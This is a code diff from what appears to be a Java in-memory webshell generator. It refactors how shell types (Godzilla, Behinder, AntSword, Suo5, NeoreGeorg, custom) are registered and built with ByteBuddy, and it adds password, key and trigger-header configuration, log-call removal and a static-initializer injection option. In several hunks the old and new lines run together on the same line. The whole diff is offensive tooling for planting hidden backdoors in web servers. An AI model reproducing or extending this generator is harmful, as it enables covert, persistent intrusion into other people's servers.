@@ -24,15 +24,6 @@ public class MemShellGenerator {
if (server == null) { if (server == null) {
throw new GenerationException("Unsupported server: " + serverName); throw new GenerationException("Unsupported server: " + serverName);
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
Class<?> injectorClass = null; Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) { if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,7 +38,15 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
} }
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig); if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -219,7 +219,7 @@ public class ServerFactory {
}); });
} }
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) { public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap(); Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
@@ -235,7 +235,10 @@ public class ServerFactory {
} }
toolMappingBuilder.addShellClass(shellType, shellClass); toolMappingBuilder.addShellClass(shellType, shellClass);
} }
server.addToolMapping(shellTool, toolMappingBuilder.build()); ToolMapping mapping = toolMappingBuilder.build();
if (mapping.isNotEmpty()) {
server.addToolMapping(shellTool, mapping);
}
} }
} }
@@ -1,41 +1,15 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2025/8/22
*/ */
public enum ShellTool { public class ShellTool {
Godzilla(GodzillaGenerator.class, GodzillaConfig.class), public static final String Godzilla = "Godzilla";
Command(CommandGenerator.class, CommandConfig.class), public static final String Behinder = "Behinder";
Behinder(BehinderGenerator.class, BehinderConfig.class), public static final String Command = "Command";
Suo5(Suo5Generator.class, Suo5Config.class), public static final String Suo5 = "Suo5";
AntSword(AntSwordGenerator.class, AntSwordConfig.class), public static final String AntSword = "AntSword";
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class), public static final String NeoreGeorg = "NeoreGeorg";
Custom(CustomShellGenerator.class, CustomConfig.class); public static final String Custom = "Custom";
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ShellToolConfig> configClass;
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
}
}
} }
@@ -0,0 +1,50 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2025/08/22
*/
public class ShellToolFactory {
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
static {
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
if (shellToolName == null || shellToolName.trim().isEmpty()) {
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
}
instances.put(shellToolName, Pair.of(generatorClass, configClass));
}
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
Constructor<? extends ShellGenerator> constructor =
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new GenerationException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -5,6 +5,7 @@ import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -23,6 +24,17 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec; private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) {
if (StringUtils.isNotBlank(paramName)) {
paramName$value = paramName;
paramName$set = true;
}
return self();
}
}
public enum ImplementationClass { public enum ImplementationClass {
RuntimeExec, ForkAndExec; RuntimeExec, ForkAndExec;
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B key(final String key) {
if (StringUtils.isNotBlank(key)) {
this.key$value = key;
key$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -46,4 +46,9 @@ public class InjectorConfig {
* 内存马类字节 * 内存马类字节
*/ */
private byte[] shellClassBytes; private byte[] shellClassBytes;
/**
* 添加静态代码块调用构造方法初始化
*/
private boolean staticInitialize;
} }
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
private String headerName = "Referer"; private String headerName = "Referer";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
@@ -31,7 +30,7 @@ public class ShellConfig {
/** /**
* 内存马功能 * 内存马功能
*/ */
private ShellTool shellTool; private String shellTool;
/** /**
* 内存马类型 * 内存马类型
@@ -1,16 +1,18 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import net.bytebuddy.description.type.TypeDescription;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Data @Data
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
public class ShellToolConfig { public class ShellToolConfig {
@@ -19,6 +21,9 @@ public class ShellToolConfig {
*/ */
private Class<?> shellClass; private Class<?> shellClass;
@JsonIgnore
private transient TypeDescription shellTypeDescription;
/** /**
* shellClass 的类名 * shellClass 的类名
*/ */
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.AntSwordConfig; import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
super(shellConfig, shellToolConfig); super(shellConfig, shellToolConfig);
} }
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { @Override
public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
return builder.field(named("pass")).value(md5Key) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue()); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
} }
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator; import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -10,7 +11,7 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
/** /**
@@ -26,22 +27,25 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
this.shellToolConfig = shellToolConfig; this.shellToolConfig = shellToolConfig;
} }
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder); protected abstract DynamicType.Builder<?> getBuilder();
@Override @Override
public byte[] getBytes() { public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass(); DynamicType.Builder<?> builder = getBuilder();
String shellClassName = shellToolConfig.getShellClassName(); String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy() Class<?> shellClass = shellToolConfig.getShellClass();
.redefine(shellClass) if (shellClass != null) {
.name(shellClassName) shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))); }
if (shellToolConfig.getShellTypeDescription() == null) {
throw new GenerationException("shellClass or shellTypeDescription could not be null.");
}
String shellType = shellConfig.getShellType(); String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer()); AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName); builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
} }
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) { if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
@@ -56,6 +60,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
builder = builder
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) { try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink()); return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
} }
@@ -1,10 +1,13 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.Base64; import java.util.Base64;
@@ -13,21 +16,31 @@ import java.util.Base64;
* @author ReaJason * @author ReaJason
* @since 2025/3/18 * @since 2025/3/18
*/ */
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> { public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig); super(shellConfig, customConfig);
} }
@Override @Override
public byte[] getBytes() { protected DynamicType.Builder<?> getBuilder() {
String shellClassBase64 = shellToolConfig.getShellClassBase64(); String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new GenerationException("Custom shell class is empty");
}
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64); byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName()); ClassReader classReader = new ClassReader(classBytes);
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); String className = classReader.getClassName().replace('/', '.');
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(className);
}
ClassFileLocator compoundLocator = new ClassFileLocator.Compound(
ClassFileLocator.Simple.of(className, classBytes),
ClassFileLocator.ForClassLoader.of(this.getClass().getClassLoader())
);
TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), compoundLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve();
shellToolConfig.setShellTypeDescription(typeDescription);
return new ByteBuddy()
.redefine(typeDescription, compoundLocator);
} }
} }
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
} }
@Override @Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16); String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase(); String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
return builder.field(named("pass")).value(shellToolConfig.getPass()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("key")).value(md5Key) .field(named("key")).value(md5Key)
.field(named("md5")).value(md5) .field(named("md5")).value(md5)
.field(named("headerName")).value(shellToolConfig.getHeaderName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.InnerClassDiscovery; import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
@@ -59,6 +60,10 @@ public class InjectorGenerator {
if (shellConfig.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = StaticBlockSelfConstructorCall.extend(builder);
}
return builder; return builder;
} }
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.method.MethodDescription;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.matcher.ElementMatchers;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments; import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
@@ -18,19 +22,26 @@ import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
*/ */
public class ListenerGenerator { public class ListenerGenerator {
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
TypeDescription typeDefinition, String newClassName) {
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
.and(ElementMatchers.takesArguments(Object.class))
.and(ElementMatchers.returns(Object.class)))
.isEmpty()) {
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
" make sure arg and return type is Object.class");
} else {
builder = builder builder = builder
.visit(MethodCallReplaceVisitorWrapper.newInstance( .visit(MethodCallReplaceVisitorWrapper.newInstance(
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName())) "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
}
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass) if (methods.filter(named("getFieldValue")
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class))) .and(takesArguments(Object.class, String.class)))
.isEmpty(); .isEmpty()) {
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class) .throwing(Exception.class)
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig; import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
} }
@Override @Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) { protected DynamicType.Builder<?> getBuilder() {
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName()) return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
